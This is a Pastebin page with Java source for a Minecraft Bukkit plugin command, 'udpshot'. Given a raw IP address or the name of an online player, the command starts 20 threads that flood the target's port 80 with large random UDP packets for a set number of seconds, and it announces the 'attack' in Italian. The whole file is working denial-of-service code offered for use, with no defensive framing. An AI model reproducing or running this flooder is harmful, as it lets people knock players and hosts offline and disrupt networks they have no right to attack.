Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class udpcommand implements CommandExecutor
- {
- @Override
- public boolean onCommand(CommandSender sender, Command command, String commandLabel, String[] args)
- {
- if(commandLabel.equalsIgnoreCase("udpshot"))
- {
- try
- {
- if(sender.hasPermission("udp.use"))
- {
- String usernameOrIp = args[0];
- final long time = Long.parseLong(args[1]);
- boolean isIP = usernameOrIp.contains(".");
- if(isIP)
- {
- final long curTime = System.currentTimeMillis();
- Random rand = new Random();
- String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
- char[] text = new char[60000];
- for (int i = 0; i < 60000; i++)
- {
- text[i] = characters.charAt(rand.nextInt(characters.length()));
- }
- String send = new String(text);
- final DatagramSocket clientSocketUDP;
- final DatagramPacket sendPacket;
- InetAddress IPAddress;
- try
- {
- IPAddress = InetAddress.getByName(usernameOrIp);
- clientSocketUDP = new DatagramSocket();
- sendPacket = new DatagramPacket(send.getBytes(), send.length(), IPAddress, 80);
- for(int i = 1; i <= 20; i++)
- {
- new Thread("Thread " + i)
- {
- public void run()
- {
- while(curTime + (time * 1000) > System.currentTimeMillis())
- {
- try
- {
- clientSocketUDP.send(sendPacket);
- }catch(IOException e)
- {
- e.printStackTrace();
- }catch(Exception e)
- {
- e.printStackTrace();
- }
- }
- }
- }.start();
- }
- sender.sendMessage("§7[§aUDPSHOT§7] §aAttacco iniziato a " + usernameOrIp + " per " + time + " secondo/i.");
- }catch (IOException e1)
- {
- e1.printStackTrace();
- }
- }else
- {
- InetAddress IPAddress;
- for(Player p : Bukkit.getServer().getOnlinePlayers())
- {
- if(p.getName().equalsIgnoreCase(usernameOrIp))
- {
- final long curTime = System.currentTimeMillis();
- Random rand = new Random();
- String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
- char[] text = new char[60000];
- for (int i = 0; i < 60000; i++)
- {
- text[i] = characters.charAt(rand.nextInt(characters.length()));
- }
- String send = new String(text);
- final DatagramSocket clientSocketUDP;
- final DatagramPacket sendPacket;
- try
- {
- IPAddress = p.getAddress().getAddress();
- clientSocketUDP = new DatagramSocket();
- sendPacket = new DatagramPacket(send.getBytes(), send.length(), IPAddress, 80);
- for(int i = 1; i <= 20; i++)
- {
- new Thread("Thread " + i)
- {
- public void run()
- {
- while(curTime + (time * 1000) > System.currentTimeMillis())
- {
- try
- {
- clientSocketUDP.send(sendPacket);
- }catch(IOException e)
- {
- e.printStackTrace();
- }catch(Exception e)
- {
- e.printStackTrace();
- }
- }
- }
- }.start();
- }
- sender.sendMessage("§7[§aUDPSHOT§7] §aAttaco iniziato a " + IPAddress.getHostAddress() + " per " + time + " secondo/i.");
- }catch (IOException e1)
- {
- e1.printStackTrace();
- }
- }
- }
- }
- return true;
- }else
- {
- sender.sendMessage("Unknown command. Type \"/help\" for help.");
- }
- }catch(Exception e)
- {
- sender.sendMessage(getSyntax());
- }
- }
- return false;
- }
- private final String getSyntax()
- {
- return "§4Parametri invalidi!. \n \n §aCopyright <C> 2015 Simox - saymodev@gmail.com. \n §7ShOoTeR by SimoxFX \n /udpshot <username/ip> <time>";
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement